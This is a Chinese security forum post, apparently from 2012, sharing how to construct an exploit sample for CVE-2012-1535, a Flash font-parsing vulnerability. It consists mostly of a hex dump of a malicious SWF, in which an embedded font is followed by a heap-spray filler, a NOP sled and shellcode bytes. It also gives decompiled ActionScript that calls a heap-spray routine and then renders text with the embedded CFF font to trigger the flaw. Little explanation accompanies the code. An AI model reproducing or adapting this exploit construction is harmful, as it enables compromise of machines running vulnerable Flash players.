[原创]CVE-2012-1535 Flash解析特殊格式字体漏洞样本构造分享
发表于:
2012-10-27 23:56
[原创]CVE-2012-1535 Flash解析特殊格式字体漏洞样本构造分享
题记：http://bbs.pediy.com/showthread.php?t=154860 http://bbs.pediy.com/showthread.php?t=155101 http://bbs.pediy.com/showthread.php?t=152407 一 分析Flash Swf样本
00D0h: 61 73 68 3C 2F 64 63 3A 66 6F 72 6D 61 74 3E 3C ash</dc:format><
00E0h: 64 63 3A 74 69 74 6C 65 3E 41 64 6F 62 65 20 46 dc:title>Adobe F
00F0h: 6C 65 78 20 34 20 41 70 70 6C 69 63 61 74 69 6F lex 4 Applicatio
0100h: 6E 3C 2F 64 63 3A 74 69 74 6C 65 3E 3C 64 63 3A n</dc:title><dc:
0110h: 64 65 73 63 72 69 70 74 69 6F 6E 3E 68 74 74 70 description>http
…..
01B0h: 3C 64 63 3A 64 61 74 65 3E 41 75 67 20 31 30 2C <dc:date>Aug 10,
01C0h: 20 32 30 31 32 3C 2F 64 63 3A 64 61 74 65 3E 3C 2012</dc:date><
0380h: 00 56 00 00 00 61 00 00 00 7C 41 64 6F 62 65 49 .V...a...|AdobeI
0390h: 64 65 6E 74 69 74 79 52 65 78 6C 69 61 46 72 65 dentityRexliaFre
03A0h: 65 2D 52 65 67 75 6C 61 72 56 65 72 73 69 6F 6E e-RegularVersion
03B0h: 20 31 2E 30 30 30 52 65 78 6C 69 61 20 69 73 20 1.000Rexlia is
03C0h: 61 20 74 72 61 64 65 6D 61 72 6B 20 6F 66 20 54 a trademark of T
03D0h: 79 70 6F 64 65 72 6D 69 63 20 46 6F 6E 74 73 52 ypodermic FontsR
03E0h: 65 78 6C 69 61 20 46 72 65 65 2F 4F 72 69 67 46 exlia Free/OrigF
03F0h: 6F 6E 74 54 79 70 65 20 2F 54 72 75 65 54 79 70 ontType /TrueTyp
0400h: 65 20 64 65 66 00 CC 02 00 01 00 50 00 9F 00 A2 e def.?...P.??
C370h: C0 00 00 00 03 00 01 04 09 00 00 01 80 00 C0 28 ?..........€.?
C380h: 63 29 20 32 30 30 38 20 54 79 70 6F 64 65 72 6D c) 2008 Typoderm
C390h: 69 63 20 46 6F 6E 74 73 2E 20 54 68 69 73 20 66 ic Fonts. This f
C3A0h: 6F 6E 74 20 69 73 20 66 72 65 65 77 61 72 65 2E ont is freeware.
C3B0h: 20 52 65 61 64 20 61 74 74 61 63 68 65 64 20 74 Read attached t
C3C0h: 65 78 74 20 66 69 6C 65 20 66 6F 72 20 64 65 74 ext file for det
C3D0h: 61 69 6C 73 2E 20 43 68 65 63 6B 20 6F 75 74 20 ails. Check out
C3E0h: 74 68 65 20 72 65 73 74 20 6F 66 20 74 68 65 20 the rest of the
C3F0h: 52 65 78 6C 69 61 20 66 61 6D 69 6C 79 20 61 6E Rexlia family an
C400h: 64 20 74 68 65 20 4F 70 65 6E 54 79 70 65 20 76 d the OpenType v
C410h: 65 72 73 69 6F 6E 20 61 74 20 54 79 70 6F 64 65 ersion at Typode
C420h: 72 6D 69 63 3A 20 68 74 74 70 3A 2F 2F 77 77 77 rmic: http://www
C430h: 2E 74 79 70 6F 64 65 72 6D 69 63 2E 63 6F 6D 00 .typodermic.com.
C820h: 49 41 4E 06 65 6E 64 69 61 6E 22 30 63 30 63 30 IAN.endian"0c0c0
C830h: 63 30 63 30 63 30 63 30 63 30 63 30 63 30 63 30 c0c0c0c0c0c0c0c0
C840h: 63 30 63 30 63 30 63 39 30 39 30 39 30 88 12 39 c0c0c0c909090?9
C850h: 30 39 30 39 30 39 30 39 30 45 39 34 37 30 31 30 090909090E947010
C860h: 30 30 30 43 32 38 46 33 36 44 38 41 30 44 46 31 000C28F36D8A0DF1
C870h: 36 44 35 42 35 46 30 44 45 37 38 44 30 30 35 38 6D5B5F0DE78D0058
public function Main() : void
{
this.FontClass = Main_FontClass;
this.heapSpray();
this.TextBlock_createTextLineExample();
return;
}// end function
public function TextBlock_createTextLineExample() : void
{
var _loc_1:String = "Edit the world in hex.";
var _loc_2:* = new FontDescription("PSpop");
_loc_2.fontLookup = FontLookup.EMBEDDED_CFF;
var _loc_3:* = new ElementFormat(_loc_2);
_loc_3.fontSize = 16;
var _loc_4:* = new TextElement(_loc_1, _loc_3);
var _loc_5:* = new TextBlock();
new TextBlock().content = _loc_4;
this.createLines(_loc_5);
return;
}// end function
private function createLines(param1:TextBlock) : void
{
var _loc_2:Number = 300;
var _loc_3:Number = 15;
var _loc_4:Number = 20;
var _loc_5:* = param1.createTextLine(null, _loc_2);
while (_loc_5)
{
_loc_5.x = _loc_3;
_loc_5.y = _loc_4;
_loc_4 = _loc_4 + (_loc_5.height + 2);
addChild(_loc_5);
_loc_5 = param1.createTextLine(_loc_5, _loc_2);
}
return;
}// end function
[Embed(parameter1,parameter2,...)] 元数据
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
上传的附件：
神牛出手了啊...
